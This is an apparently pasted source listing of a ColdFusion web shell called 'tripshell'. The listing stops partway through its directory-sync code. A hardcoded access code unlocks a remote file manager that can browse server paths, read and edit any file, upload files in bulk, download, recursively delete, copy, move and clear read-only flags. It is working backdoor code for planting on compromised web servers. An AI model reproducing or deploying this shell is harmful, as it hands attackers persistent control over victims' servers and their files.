· 8 years ago · Jun 16, 2018, 01:22 PM
1<cftry>
2
3<CFAPPLICATION NAME="tripshell" SESSIONMANAGEMENT="Yes" SESSIONTIMEOUT="#CreateTimeSpan(0, 0, 20, 0)#">
4
5 <cfif (IsDefined("Session.tripshell") AND Session.tripshell EQ "ok") OR (IsDefined("form.code") AND form.code EQ "trip1337DAY")>
6 <b>Ok all good</b>
7 <cfset session.tripshell='ok'>
8
9
10<!--- ************ Personal parameter *************** --->
11<cfset attributes.editExtensions = "ALL">
12<!--- ************ Personal parameter *************** --->
13
14<cfsetting requestTimeout = 1000>
15<!--- formurl2attributes --->
16<cfparam name="attributes" default="#structNew()#">
17<cfset structAppend(attributes,form,"no")>
18<cfset structAppend(attributes,url,"no")>
19<!--- Default parameters --->
20<cfparam name="attributes.path" default="#expandPath(".")#">
21<cfparam name="attributes.fuseaction" default="home">
22<cfparam name="attributes.recursive" default="0">
23<cfparam name="attributes.showpath" default="0">
24<cfparam name="attributes.searchtext" default="">
25<cfparam name="attributes.searchname" default="">
26<cfparam name="attributes.maxsearchresult" default="1">
27<cfparam name="attributes.checkpassword" default="">
28<cfparam name="attributes.password" default="">
29<cfparam name="attributes.nbrOfUpload" default="20">
30<cfparam name="attributes.editExtensions" default="txt,htm,html,cfm,cfml,asp,aspx,php,jsp,js,ini,bat,log,reg,xml,dtd,xslt">
31<cfparam name="attributes.relocate" default="1">
32<cfparam name="attributes.overwriteAll" default="0">
33<cfparam name="attributes.style" default="1">
34<cfparam name="attributes.pathAllowed" default="">
35<cfparam name="attributes.thisModule" default="#listLast(cgi.script_name,"/\")#">
36<cfparam name="attributes.h" default="">
37<!--- Find delimiter and set path --->
38<cfif find("/",cgi.CF_TEMPLATE_PATH)>
39 <cfset attributes.delimiter = "/">
40<cfelse>
41 <cfset attributes.delimiter = "\">
42</cfif>
43<cfset attributes.path = reReplace(attributes.path,"\#attributes.delimiter#{2,}",attributes.delimiter,"ALL")>
44<cfif right(attributes.path,1) eq attributes.delimiter and len(attributes.path) gt 1>
45 <cfset attributes.path = left(attributes.path,len(attributes.path)-1)>
46</cfif>
47<!--- UDF --->
48<cffunction name="location">
49 <cfargument name="qs">
50 <cfargument name="relocate">
51 <cfif relocate>
52 <cflocation url="?#qs#&path=#attributes.path#&h=#attributes.H#">
53 </cfif>
54</cffunction>
55<!--- Password check --->
56<cfif attributes.fuseaction neq "passwordHash" and attributes.checkPassword neq "">
57 <cfif isDefined("attributes.H")>
58 <cfif hash(attributes.checkpassword) neq attributes.H>
59 <cfset attributes.fuseaction = "password">
60 </cfif>
61 <cfelse>
62 <cfset attributes.fuseaction = "password">
63 </cfif>
64</cfif>
65<!--- Path check --->
66<cfif attributes.pathAllowed neq "">
67 <cfif not findNoCase(attributes.pathAllowed,attributes.path)>
68 <cfset attributes.path = attributes.pathAllowed>
69 <cfset attributes.msg = "Error: cannot go beyond ""#attributes.pathAllowed#""">
70 </cfif>
71</cfif>
72<!--- CSS Style --->
73<cfif attributes.style and attributes.relocate>
74 <style>
75 body,table,input{font:11px;font-family:verdana}
76 button, .button{font:11px;font-family:verdana;width:50;text-align:center;border:1px solid black;background-color:#EEEEEE;cursor:hand;padding:1 0 1 0;}
77 </style>
78</cfif>
79<!--- Fusebox --->
80<cfswitch expression="#attributes.fuseaction#">
81
82 <cfcase value="password">
83 <cfoutput>
84 <form action="?" method="post">
85 <input type="hidden" name="fuseaction" value="passwordHash">
86 Password: <input type="password" name="password"> <input type="submit" name="submit" value="Submit" class="button">
87 </form>
88 </cfoutput>
89 </cfcase>
90
91 <cfcase value="passwordHash">
92 <cfoutput>
93 <script>window.location.href="?h=#hash(attributes.password)#";</script>
94 </cfoutput>
95 </cfcase>
96
97 <cfcase value="home">
98 <cfoutput>
99 <title>FileManager: #attributes.path#</title>
100 <script>
101 function addDir(){
102 var sDirNew = prompt("Create folder in #JSStringFormat(attributes.path)#.\nFolder name:","");
103 if (sDirNew != null && sDirNew != ""){
104 window.location.href="?fuseaction=addDir&path=#JSStringFormat(attributes.path)#&dirNew=" + sDirNew + "&h=#attributes.h#";
105 }
106 }
107 function addFile(){
108 var sFileNew = prompt("Create file in #JSStringFormat(attributes.path)#.\nFile name:","");
109 if (sFileNew != null && sFileNew != ""){
110 window.location.href="?fuseaction=addFile&path=#JSStringFormat(attributes.path)#&fileNew=" + sFileNew + "&h=#attributes.h#";
111 }
112 }
113 function renameFile(sFile){
114 var sFileNew = prompt("New file name",sFile + "_copy");
115 if (sFileNew != null && sFileNew != "" && sFileNew != sFile){
116 window.location.href="?fuseaction=renamefile&path=#JSStringFormat(attributes.path)#&file=" + sFile + "&fileNew=" + sFileNew + "&h=#attributes.h#";
117 }
118 }
119 function renameDir(sDir){
120 var sDirNew = prompt("New folder name",sDir + "_copy");
121 if (sDirNew != null && sDirNew != "" && sDirNew != sDir){
122 window.location.href="?fuseaction=renameDir&path=#JSStringFormat(attributes.path)#&dir=" + sDir + "&dirNew=" + sDirNew + "&h=#attributes.h#";
123 }
124 }
125 function copyFile(sFile){
126 sDefault = "#JSStringFormat(attributes.path)##JSStringFormat(attributes.delimiter)#" + sFile;
127 var sPathNew = prompt("Destination for \"" + sFile + "\".",sDefault);
128 if (sPathNew != null && sPathNew != "" && sPathNew != sDefault){
129 window.location.href="?fuseaction=copyFile&path=#JSStringFormat(attributes.path)#&pathNew=" + sPathNew + "&file=" + sFile + "&h=#attributes.h#";
130 }
131 }
132 function copyDir(sDir){
133 sDefault = "#JSStringFormat(attributes.path)##JSStringFormat(attributes.delimiter)#" + sDir;
134 var sPathNew = prompt("Destination for \"" + sDir + "\".\nProvide a UNEXISTANT path!",sDefault + "_copy");
135 if (sPathNew != null && sPathNew != "" && sPathNew != sDefault){
136 window.location.href="?fuseaction=copydir&path=#JSStringFormat(attributes.path)#&dir=" + sDir + "&pathNew=" + sPathNew + "&h=#attributes.h#";
137 }
138 }
139 function moveFile(sFile){
140 sDefault = "#JSStringFormat(attributes.path)#";
141 var sPathNew = prompt("Move \"" + sFile + "\" to:",sDefault);
142 if (sPathNew != null && sPathNew != "" && sPathNew != sDefault){
143 window.location.href="?fuseaction=moveFile&path=#JSStringFormat(attributes.path)#&pathNew=" + sPathNew + "&file=" + sFile + "&h=#attributes.h#";
144 }
145 }
146 function moveDir(sDir){
147 sDefault = "#JSStringFormat(attributes.path)#";
148 var sPathNew = prompt("Move \"" + sDir + "\" to:",sDefault);
149 if (sPathNew != null && sPathNew != "" && sPathNew != sDefault){
150 window.location.href="?fuseaction=moveDir&path=#JSStringFormat(attributes.path)#&pathNew=" + sPathNew + "&dir=" + sDir + "&h=#attributes.h#";
151 }
152 }
153 function syncDir(sDir){
154 sDefault = "#JSStringFormat(attributes.path)#" + "\\" + sDir;
155 var sPathNew = prompt("Synchronize \"" + sDefault + "\" to:",sDefault);
156 var bOverwriteAll = 0;
157 if (sPathNew != null && sPathNew != "" && sPathNew != sDefault){
158 if (confirm("Do yout want to overwrite all files?\nOK: copy all files.\nCancel: copy new and modified files.")) bOverwriteAll = 1;
159 window.location.href="?fuseaction=syncDir&path=" + sDefault + "&pathNew=" + sPathNew + "&overwriteall=" + bOverwriteAll + "&h=#attributes.h#";
160 }
161 }
162 function deleteFile(sFile){
163 if (confirm("Delete \"" + sFile + "\"?"))window.location.href="?fuseaction=deletefile&path=#JSStringFormat(attributes.path)#&file=" + sFile + "&h=#attributes.h#";
164 }
165 function deleteDir(sDir){
166 if (confirm("Delete \"" + sDir + "\"?"))window.location.href="?fuseaction=deletedir&path=#JSStringFormat(attributes.path)#&dir=" + sDir + "&h=#attributes.h#";
167 }
168 function showNextUpload(n){
169 document.getElementById("fileUpload" + n).style.display='';
170 document.getElementById("submitUpload").style.display='';
171 }
172 </script>
173 <cfif isDefined("attributes.msg")>
174 <h4 style="color:#iif(findNoCase("error",attributes.msg),"'red'","'green'")#">#attributes.msg#</h4>
175 </cfif>
176 <cfif len(attributes.path) gt 1>
177 <cfset attributes.parentpath = listDeleteAt(attributes.path,listLen(attributes.path,attributes.delimiter),attributes.delimiter)>
178 <cfelse>
179 <cfset attributes.parentpath = "">
180 </cfif>
181 <table style="border:1 solid black">
182 <form action="?" method="post">
183 <input type="hidden" name="h" value="#attributes.h#">
184 <tr>
185 <td width="100">Parent:</td>
186 <td><a href="?path=#attributes.parentpath#&h=#attributes.h#">#attributes.parentpath#</a></td>
187 </tr>
188 <tr>
189 <td valign="top">Path:</td>
190 <td>
191 <input type="text" name="path" value="#attributes.path#" style="font-weight:bold" size="100">
192 <input type="submit" value="Submit" class="button"><br>
193 <button style="width:150" onclick="addDir()">Create a folder</button>
194 <button style="width:150" onclick="addFile()">Create a file</button>
195 </td>
196 </tr>
197 </form>
198 <form action="?" method="post">
199 <input type="hidden" name="h" value="#attributes.h#">
200 <input type="hidden" name="fuseaction" value="search">
201 <input type="hidden" name="path" value="#attributes.path#">
202 <tr>
203 <td>Search:</td>
204 <td><span style="width:150">File/folder name (RE):</span><input type="text" name="searchname" size="70" value="#attributes.searchname#"></td>
205 </tr>
206 <tr>
207 <td> </td>
208 <td><span style="width:150">Containg text (RE):</span><input type="text" name="searchtext" size="70" value="#attributes.searchtext#"></td>
209 </tr>
210 <tr>
211 <td> </td>
212 <td>
213 Recursive <input type="checkbox" name="recursive" value="1" #iif(attributes.recursive,"'checked'","''")#>
214 Max. result <select name="maxsearchresult">
215 <option value="1" #iif(attributes.maxsearchresult eq 1,"'SELECTED'","''")#>1</option>
216 <option value="5" #iif(attributes.maxsearchresult eq 5,"'SELECTED'","''")#>5</option>
217 <option value="10" #iif(attributes.maxsearchresult eq 10,"'SELECTED'","''")#>10</option>
218 <option value="50" #iif(attributes.maxsearchresult eq 50,"'SELECTED'","''")#>50</option>
219 <option value="100" #iif(attributes.maxsearchresult eq 100,"'SELECTED'","''")#>100</option>
220 </select>
221 <input type="submit" value="Submit" class="button"></td>
222 </tr>
223 </form>
224 <form action="?" method="post" enctype="multipart/form-data">
225 <input type="hidden" name="h" value="#attributes.h#">
226 <input type="hidden" name="fuseaction" value="upload">
227 <input type="hidden" name="path" value="#attributes.path#">
228 <tr>
229 <td valign="top">Upload:</td>
230 <td>
231 <span style="width:20">1.</span><input type="File" name="file1" size="70" onchange="showNextUpload(2)">
232 <input type="checkbox" name="overwrite1">Overwrite
233 <cfloop index="i" from="2" to="#attributes.nbrOfUpload#">
234 <div id="fileUpload#i#" style="display:'none'">
235 <span style="width:20">#i#.</span><input type="File" name="file#i#" size="70" onchange="showNextUpload(#i+1#)">
236 <input type="checkbox" name="overwrite#i#">Overwrite
237 </div>
238 </cfloop>
239 <input type="submit" value="Upload" name="submitUpload" class="button" style="display:'none'">
240 </td>
241 </tr>
242 </form>
243 </table>
244 </cfoutput>
245 <cfflush>
246 <cfif not isDefined("attributes.getDir")>
247 <cfdirectory action="LIST" directory="#attributes.path#" name="attributes.getDir">
248 </cfif>
249 <br>
250 <table style="border:1 solid black">
251 <tr bgcolor="#c0c0c0">
252 <th> </th>
253 <cfset colspan = 1>
254 <cfif attributes.showpath>
255 <cfset colspan = 2>
256 <th>Path</th>
257 </cfif>
258 <th>Name</th>
259 <th>Actions</th>
260 <th>Size</th>
261 <th>Attr.</th>
262 <th>Modif. date</th>
263 </tr>
264 <cfoutput>
265 <tr>
266 <td colspan="#colspan#"><hr size="1"></td>
267 <td align="center"><b>F o l d e r s</b></td>
268 <td colspan="10"><hr size="1"></td>
269 </tr>
270 </cfoutput>
271 <cfset i = 0>
272 <cfoutput query="attributes.getDir">
273 <cfif type eq "dir" and name neq "." and name neq "..">
274 <cfset i = i + 1>
275 <tr bgcolor="#iif(evaluate(i Mod 2),"'F2F2F2'","'EFEFE2'")#">
276 <td>#i#.</td>
277 <cfif attributes.showpath>
278 <td><a href="?path=#path#&h=#attributes.h#" style="text-decoration:none">#path#</a></td>
279 <td><a href="?path=#path##attributes.delimiter##name#&h=#attributes.h#" style="text-decoration:none"><b>#name#</b></a></td>
280 <td><a onclick="window.location.href='?path=#JSStringFormat("#path##attributes.delimiter##name#&h=#attributes.h#")#'" class="button">Open</a></td>
281 <cfelse>
282 <td><a href="?path=#attributes.path##attributes.delimiter##name#&h=#attributes.h#" style="text-decoration:none"><b>#name#</b></a></td>
283 <td>
284 <a onclick="window.location.href='?path=#JSStringFormat(attributes.path & attributes.delimiter)##name#&h=#attributes.h#'" class="button">Open</a>
285 <a onclick="renameDir('#name#')" class="button">Rename</a>
286 <a onclick="copyDir('#name#')" class="button">Copy</a>
287 <a onclick="moveDir('#name#')" class="button">Move</a>
288 <a onclick="deleteDir('#name#')" class="button" style="color:red">Delete</a>
289 <a onclick="syncDir('#name#')" class="button">Sync.</a>
290 </td>
291 </cfif>
292 <td> </td>
293 <td>#ATTRIBUTES# </td>
294 <td>#DATELASTMODIFIED#</td>
295 </tr>
296 </cfif>
297 </cfoutput>
298 <cfoutput>
299 <tr>
300 <td colspan="#colspan#"><hr size="1"></td>
301 <td align="center"><b>F i l e s</b></td>
302 <td colspan="10"><hr size="1"></td>
303 </tr>
304 </cfoutput>
305 <cfoutput query="attributes.getDir">
306 <cfif type eq "file">
307 <cfset i = i + 1>
308 <tr bgcolor="#iif(evaluate(i Mod 2),"'F2F2F2'","'EFEFE2'")#">
309 <td>#i#.</td>
310 <cfif attributes.showpath>
311 <td><a href="?path=#path#&h=#attributes.h#" style="text-decoration:none">#path#</a></td>
312 <td><a href="?fuseaction=download&path=#path#&file=#name#&h=#attributes.h#" style="text-decoration:none"><b>#name#</b></a></td>
313 <cfif attributes.editExtensions eq "ALL" or listFindNoCase(attributes.editExtensions,listLast(name,"."))>
314 <td>
315 <a onclick="window.location.href='?fuseaction=edit&path=#JSStringFormat(path)#&h=#attributes.h#&file=#name#'" class="button">Edit</a>
316 <a onclick="window.location.href='?fuseaction=download&path=#JSStringFormat(path)#&h=#attributes.h#&file=#name#'" class="button">Down.</a>
317 </td>
318 </cfif>
319 <cfelse>
320 <td><a href="?fuseaction=download&path=#attributes.path#&file=#name#&h=#attributes.h#" style="text-decoration:none">#name#</a></td>
321 <td>
322 <a onclick="window.location.href='?fuseaction=download&path=#JSStringFormat(attributes.path)#&h=#attributes.h#&file=#name#'" class="button">Down.</a>
323 <a onclick="renameFile('#name#')" class="button">Rename</a>
324 <a onclick="copyFile('#name#')" class="button">Copy</a>
325 <a onclick="moveFile('#name#')" class="button">Move</a>
326 <a onclick="deleteFile('#name#')" class="button" style="color:red">Delete</a>
327 <cfif attributes.editExtensions eq "ALL" or listFindNoCase(attributes.editExtensions,listLast(name,"."))>
328 <a onclick="window.location.href='?fuseaction=edit&path=#JSStringFormat(attributes.path)#&h=#attributes.h#&file=#name#'" class="button">Edit</a>
329 </cfif>
330 <cfif Find("R",attributes)>
331 <a onclick="window.location.href='?fuseaction=removeR&path=#JSStringFormat(attributes.path)#&file=#name#&fileNew=#name#&h=#attributes.h#'" class="button">Rem RO</a>
332 </cfif>
333 </td>
334 </cfif>
335 <td align="right">#numberFormat(size)# B</td>
336 <td>#ATTRIBUTES# </td>
337 <td>#DATELASTMODIFIED#</td>
338 </tr>
339 </cfif>
340 </cfoutput>
341 </table>
342 </cfcase>
343
344 <cfcase value="edit">
345 <cfoutput><title>FileManager: #attributes.file#</title></cfoutput>
346 <cffile action="READ" file="#attributes.path##attributes.delimiter##attributes.file#" variable="filecontent">
347 <cfdirectory action="LIST" directory="#attributes.path##attributes.delimiter#" filter="#attributes.file#" name="getFile">
348 <cfif findNoCase("R",getFile.attributes[1])>
349 <cfoutput>
350 <div>
351 <span style="color:red;font-weight:bold">This file is READ-ONLY</span>
352 <button onclick="window.location.href='?fuseaction=removeR&path=#JSStringFormat(attributes.path)#&file=#attributes.file#&fileNew=#attributes.file#&after=edit&h=#attributes.h#'" style="width:150">Remove Read-Only</button>
353 <button onclick="history.back()">Back</button>
354 </div>
355 <pre style="width:100%;height:95%;border:2 solid black">#htmlEditFormat(filecontent)#</pre>
356 </cfoutput>
357 <cfelse>
358 <cfoutput>
359 <form action="?" method="post">
360 <input type="submit" value="Save Back" style="width:100" class="button">
361 <input type="submit" value="Save" onclick="document.all.fuseactionNext.value='edit'" class="button">
362 <button onclick="window.location.href='?path=#JSStringFormat(attributes.path)#&h=#attributes.h#&file=#attributes.file#'">Cancel</button>
363 Size: #numberFormat(getFile.size)#B | Date: #getFile.dateLastModified#
364 <input type="hidden" name="h" value="#attributes.h#">
365 <input type="hidden" name="fuseaction" value="write">
366 <input type="hidden" name="fuseactionNext" value="home">
367 <input type="hidden" name="path" value="#attributes.path#">
368 <input type="hidden" name="file" value="#attributes.file#">
369 <textarea style="width:100%;height:95%" name="fileNewContent" style="font-size:11px">#htmlEditFormat(filecontent)#</textarea>
370 <div>
371 <input type="submit" value="Save Back" style="width:100" class="button">
372 <input type="submit" value="Save" onclick="document.all.fuseactionNext.value='edit'" class="button">
373 <button onclick="window.location.href='?path=#JSStringFormat(attributes.path)#&h=#attributes.h#&file=#attributes.file#'">Cancel</button>
374 </div>
375 </form>
376 </cfoutput>
377 </cfif>
378 </cfcase>
379
380 <cfcase value="write">
381 <cftry>
382 <cffile action="DELETE" file="#attributes.path##attributes.delimiter##attributes.file#">
383 <cffile action="WRITE" file="#attributes.path##attributes.delimiter##attributes.file#" output="#attributes.fileNewContent#" addnewline="No">
384 <cfoutput>#location("fuseaction=#attributes.fuseactionNext#&file=#attributes.file#", attributes.relocate)#</cfoutput>
385 <cfcatch>
386 <cfoutput>#location("msg=Error while updating file!", attributes.relocate)#</cfoutput>
387 </cfcatch>
388 </cftry>
389 </cfcase>
390
391 <cfcase value="upload">
392 <cfset msg = "Upload Result:">
393 <cfloop index="i" from="1" to="#attributes.nbrOfUpload#">
394 <cfif form["file#i#"] neq "">
395 <cftry>
396 <cffile action="UPLOAD"
397 filefield="form.file#i#"
398 destination="#attributes.path#"
399 nameconflict="#iif(isDefined("attributes.overwrite#i#"),"'OVERWRITE'","'Error'")#">
400 <cfset msg = "#msg#\n - File #i#: OK">
401 <cfcatch>
402 <cfset msg = "#msg#\n - File #i#: ERROR">
403 </cfcatch>
404 </cftry>
405 </cfif>
406 </cfloop>
407 <cfoutput>#location("", attributes.relocate)#</cfoutput>
408 </cfcase>
409
410 <cfcase value="download">
411 <cfheader name="Content-disposition" value="attachment; filename=#attributes.file#">
412 <cfcontent file="#attributes.path##attributes.delimiter##attributes.File#">
413 </cfcase>
414
415 <cfcase value="deleteFile">
416 <cftry>
417 <cffile action="delete" file="#attributes.path##attributes.delimiter##attributes.file#">
418 <cfoutput>#location("msg=File deleted!", attributes.relocate)#</cfoutput>
419 <cfcatch>
420 <cfoutput>#location("msg=Error: file not deleted!", attributes.relocate)#</cfoutput>
421 </cfcatch>
422 </cftry>
423 </cfcase>
424
425 <cfcase value="deleteDir">
426 <cftry>
427 <cfdirectory action="DELETE" directory="#attributes.path##attributes.delimiter##attributes.dir#">
428 <cfoutput>#location("msg=Folder deleted!", attributes.relocate)#</cfoutput>
429 <cfcatch>
430 <cfoutput>#location("fuseaction=deletedirRecursiveConfirm&dir=#attributes.dir#", attributes.relocate)#</cfoutput>
431 </cfcatch>
432 </cftry>
433 </cfcase>
434
435 <cfcase value="deleteDirRecursiveConfirm">
436 <cfoutput>
437 <script>
438 if(confirm("Folder not deleted. It may contains files or folders.\nTry recursive delete?")) window.location.href="?fuseaction=deletedirRecursive&path=#jsStringFormat(attributes.path)#&dir=#jsStringFormat(attributes.dir)#&h=#attributes.h#";
439 else window.location.href="?path=#jsStringFormat(attributes.path)#&h=#attributes.h#";
440 </script>
441 </cfoutput>
442 </cfcase>
443
444 <cfcase value="deleteDirRecursive">
445 <cfdirectory action="LIST" name="attributes.getDir" directory="#attributes.path##attributes.delimiter##attributes.dir#">
446 <cfoutput><h3>#attributes.path##attributes.delimiter##attributes.dir#</h3></cfoutput>
447 <!--- Delete files --->
448 <cfloop query="attributes.getDir">
449 <cfif type eq "file">
450 <cftry>
451 <cffile action="delete" file="#attributes.path##attributes.delimiter##attributes.dir##attributes.delimiter##name#">
452 <cfoutput>
453 <div>
454 <span style="width:100">FILE:</span>
455 #attributes.path##attributes.delimiter##attributes.dir##attributes.delimiter#<b>#name#</b>
456 </div>
457 </cfoutput>
458 <cfcatch/>
459 </cftry>
460 </cfif>
461 </cfloop>
462 <!--- Delete sub-folder --->
463 <cfloop query="attributes.getDir">
464 <cfif type eq "dir">
465 <cfmodule template="#attributes.thisModule#"
466 fuseaction="deleteDirRecursive"
467 h="#attributes.H#"
468 path="#attributes.path##attributes.delimiter##attributes.dir#"
469 dir="#name#"
470 relocate="0">
471 </cfif>
472 </cfloop>
473 <cftry>
474 <cfdirectory action="DELETE" directory="#attributes.path##attributes.delimiter##attributes.dir#">
475 <cfoutput>
476 <div>
477 <span style="width:100">FOLDER:</span>
478 #attributes.path##attributes.delimiter#<b>#attributes.dir#</b>
479 </div>
480 </cfoutput>
481 <cfcatch/>
482 </cftry>
483 <cfflush>
484 <cfif attributes.relocate>
485 <cfoutput>
486 <button name="fileManagerButton" style="width:700" onclick="window.location.href='?h=#attributes.H#&path=#jsStringFormat(attributes.path)#'">Deletion done! Back to <b>#attributes.path#</b></button>
487 </cfoutput>
488 </cfif>
489 </cfcase>
490
491 <cfcase value="addDir">
492 <cftry>
493 <cfdirectory action="CREATE" directory="#attributes.path##attributes.delimiter##attributes.dirNew#">
494 <cfoutput>#location("msg=Folder created!", attributes.relocate)#</cfoutput>
495 <cfcatch>
496 <cfoutput>#location("msg=Error: folder not created!", attributes.relocate)#</cfoutput>
497 </cfcatch>
498 </cftry>
499 </cfcase>
500
501 <cfcase value="addFile">
502 <cftry>
503 <cffile action="WRITE" file="#attributes.path##attributes.delimiter##attributes.fileNew#" output="">
504 <cfoutput>#location("msg=File created!", attributes.relocate)#</cfoutput>
505 <cfcatch>
506 <cfoutput>#location("msg=Error: file not created!", attributes.relocate)#</cfoutput>
507 </cfcatch>
508 </cftry>
509 </cfcase>
510
511 <cfcase value="copyFile">
512 <cfif fileExists("#attributes.pathNew#")>
513 <cfoutput>
514 <script>
515 alert("This file already exists!");
516 history.back();
517 </script>
518 </cfoutput>
519 <cfabort>
520 </cfif>
521 <cftry>
522 <cfset pathTry = listDeleteAt(attributes.pathNew,listLen(attributes.pathNew,"/\"),"/\")>
523 <cfdirectory action="CREATE" directory="#pathTry#">
524 <cfcatch/>
525 </cftry>
526 <cftry>
527 <cffile action="COPY" source="#attributes.path##attributes.delimiter##attributes.file#"
528 destination="#attributes.pathNew#">
529 <cfif attributes.relocate>
530 <cfoutput>#location("msg=File copied!", attributes.relocate)#</cfoutput>
531 </cfif>
532 <cfcatch>
533 <cfif attributes.relocate>
534 <cfoutput>#location("msg=Error: file not copied", attributes.relocate)#</cfoutput>
535 </cfif>
536 </cfcatch>
537 </cftry>
538 </cfcase>
539
540 <cfcase value="copyDir">
541 <cfif DirectoryExists("#attributes.pathNew#")>
542 <cfoutput>
543 <script>
544 alert("This folder already exists!\nPlease use synchronize function.");
545 history.back();
546 </script>
547 </cfoutput>
548 <cfabort>
549 </cfif>
550 <cfdirectory directory="#attributes.path##attributes.delimiter##attributes.dir#" name="attributes.getDir">
551 <!--- create main folder --->
552 <cftry>
553 <cfdirectory action="CREATE" directory="#attributes.pathNew#">
554 <cfoutput><h3>#attributes.pathNew#</h3></cfoutput>
555 <cfcatch/>
556 </cftry>
557 <!--- copy folder content - Recursive copy --->
558 <cfloop query="attributes.getDir">
559 <cfif type eq "file">
560 <cffile
561 action="COPY"
562 source="#attributes.path##attributes.delimiter##attributes.dir##attributes.delimiter##name#"
563 destination="#attributes.pathNew##attributes.delimiter##name#"
564 attributes="Normal">
565 <cfoutput><div>#attributes.pathNew##attributes.delimiter#<b>#name#</b></div></cfoutput>
566 <cfflush>
567 </cfif>
568 </cfloop>
569 <cfloop query="attributes.getDir">
570 <cfif type eq "dir">
571 <cfmodule
572 fuseaction="copyDir"
573 template="#attributes.thisModule#"
574 h="#attributes.H#"
575 path="#attributes.path##attributes.delimiter##attributes.dir##attributes.delimiter#"
576 dir="#name#"
577 pathNew="#attributes.pathNew##attributes.delimiter##name#"
578 relocate="0">
579 </cfif>
580 </cfloop>
581 <cfif attributes.relocate>
582 <cfoutput>
583 <button name="fileManagerButton" style="width:700" onclick="window.location.href='?h=#attributes.H#&path=#jsStringFormat(attributes.path)#'">Copy done! Back to <b>#attributes.path#</b></button>
584 </cfoutput>
585 </cfif>
586 </cfcase>
587
588 <cfcase value="renameFile">
589 <cfif fileExists("#attributes.path##attributes.delimiter##attributes.fileNew#")>
590 <cfoutput>
591 <script>
592 alert("This file already exists!");
593 history.back();
594 </script>
595 </cfoutput>
596 <cfabort>
597 </cfif>
598 <cftry>
599 <cffile action="rename" source="#attributes.path##attributes.delimiter##attributes.file#" destination="#attributes.path##attributes.delimiter##attributes.fileNew#" attributes="normal">
600 <cfoutput>#location("msg=File updated!", attributes.relocate)#</cfoutput>
601 <cfcatch>
602 <cfoutput>#location("msg=Error while updating file!", attributes.relocate)#</cfoutput>
603 </cfcatch>
604 </cftry>
605 </cfcase>
606
607 <cfcase value="removeR">
608 <cftry>
609 <cffile action="rename" source="#attributes.path##attributes.delimiter##attributes.file#" destination="#attributes.path##attributes.delimiter##attributes.fileNew#" attributes="normal">
610 <cfset qs = "">
611 <cfif isDefined("attributes.after") and attributes.after eq "edit">
612 <cfset qs = "fuseaction=edit&file=#attributes.file#&">
613 </cfif>
614 <cfoutput>#location("#qs#msg=File updated!", attributes.relocate)#</cfoutput>
615 <cfcatch>
616 <cfoutput>#location("#qs#msg=Error while updating file!", attributes.relocate)#</cfoutput>
617 </cfcatch>
618 </cftry>
619 </cfcase>
620
621 <cfcase value="renameDir">
622 <cfif DirectoryExists("#attributes.path##attributes.delimiter##attributes.dirNew#")>
623 <cfoutput>
624 <script>
625 alert("This folder already exists!");
626 history.back();
627 </script>
628 </cfoutput>
629 <cfabort>
630 </cfif>
631 <h2>Rename folder - step 1: copy files</h2>
632 <cfmodule template="#attributes.thisModule#"
633 fuseaction="copyDir"
634 h="#attributes.h#"
635 path="#attributes.path#"
636 pathOrigin="#attributes.path##attributes.delimiter##attributes.dir#"
637 pathNew="#attributes.path##attributes.delimiter##attributes.dirNew#"
638 relocate="0">
639 <h2>Rename folder - step 2: delete files</h2>
640 <cfmodule template="#attributes.thisModule#"
641 fuseaction="deleteDirRecursive"
642 h="#attributes.h#"
643 path="#attributes.path#"
644 dir="#attributes.dir#"
645 relocate="0">
646 <cfif attributes.relocate>
647 <cfoutput>
648 <button name="fileManagerButton" style="width:700" onclick="window.location.href='?path=#jsStringFormat(attributes.path)#&h=#attributes.H#'">Rename done! Back to <b>#attributes.path#</b></button>
649 </cfoutput>
650 </cfif>
651 </cfcase>
652
653 <cfcase value="moveFile">
654 <h2>Move file - step 1: copy file</h2>
655 <cfmodule template="#attributes.thisModule#"
656 fuseaction="copyFile"
657 h="#attributes.h#"
658 path="#attributes.path#"
659 file="#attributes.file#"
660 pathNew="#attributes.pathNew#"
661 relocate="0">
662 <h2>Move file - step 2: delete file</h2>
663 <cfmodule template="#attributes.thisModule#"
664 fuseaction="deleteFile"
665 h="#attributes.h#"
666 path="#attributes.path#"
667 file="#attributes.file#"
668 relocate="0">
669 <cfoutput>#location("msg=File moved!", attributes.relocate)#</cfoutput>
670 </cfcase>
671
672 <cfcase value="moveDir">
673 <h1>Move folder - step 1: copy files</h1>
674 <cfmodule template="#attributes.thisModule#"
675 fuseaction="copyDir"
676 h="#attributes.h#"
677 pathOrigin="#attributes.path##attributes.delimiter##attributes.dir#"
678 pathNew="#attributes.pathNew##attributes.delimiter##attributes.dir#"
679 relocate="0">
680 <h1>Move folder - step 2: delete files</h1>
681 <cfmodule template="#attributes.thisModule#"
682 fuseaction="deleteDirRecursive"
683 h="#attributes.h#"
684 path="#attributes.path#"
685 dir="#attributes.dir#"
686 relocate="0">
687 <cfif attributes.relocate>
688 <cfoutput>
689 <button name="fileManagerButton" style="width:700" onclick="window.location.href='?h=#attributes.H#&path=#jsStringFormat(attributes.path)#'">Move done! Back to <b>#attributes.path#</b></button>
690 </cfoutput>
691 </cfif>
692 </cfcase>
693
694 <cfcase value="syncDir">
695 <cfif attributes.relocate>
696 <cfoutput><h1>Synchronize</h1><h3>From... #attributes.path#</h3><h3>To... #attributes.pathNew#</h3><hr></cfoutput>
697 </cfif>
698 <cfdirectory directory="#attributes.path#" name="getDir">
699 <cfdirectory directory="#attributes.pathNew#" name="getDirNew">
700 <!--- create main folder --->
701 <cftry>
702 <cfdirectory action="CREATE" directory="#attributes.pathNew#">
703 <cfoutput><h3 style="color:green">#attributes.pathNew# ... created!</h3></cfoutput>
704 <cfcatch><cfoutput><h3>#attributes.pathNew# ... existing!</h3></cfoutput></cfcatch>
705 </cftry>
706 <!--- copy folder content - Recursive copy --->
707 <cfloop query="getDir">
708 <cfset getDirCurrentRow = getDir.currentRow>
709 <cfif type eq "file">
710 <cfset fileExists = 0>
711 <!--- Check if file exists --->
712 <cfloop query="getDirNew">
713 <cfset getDirNewCurrentRow = getDirNew.currentRow>
714 <cfif getDir.name[getDirCurrentRow] eq getDirNew.name[getDirNewCurrentRow]>
715 <cfset fileExists = 1>
716 <cfset fileIsModified = 0>
717 <cfif getDir.DATELASTMODIFIED[getDirCurrentRow] gt getDirNew.DATELASTMODIFIED[getDirNewCurrentRow]>
718 <cfset fileIsModified = 1>
719 </cfif>
720 <cfbreak>
721 </cfif>
722 </cfloop>
723 <!--- action --->
724 <cfif fileExists>
725 <cfif fileIsModified or attributes.overwriteAll>
726 <cftry>
727 <cffile action="DELETE" file="#attributes.pathNew##attributes.delimiter##name#">
728 <cffile
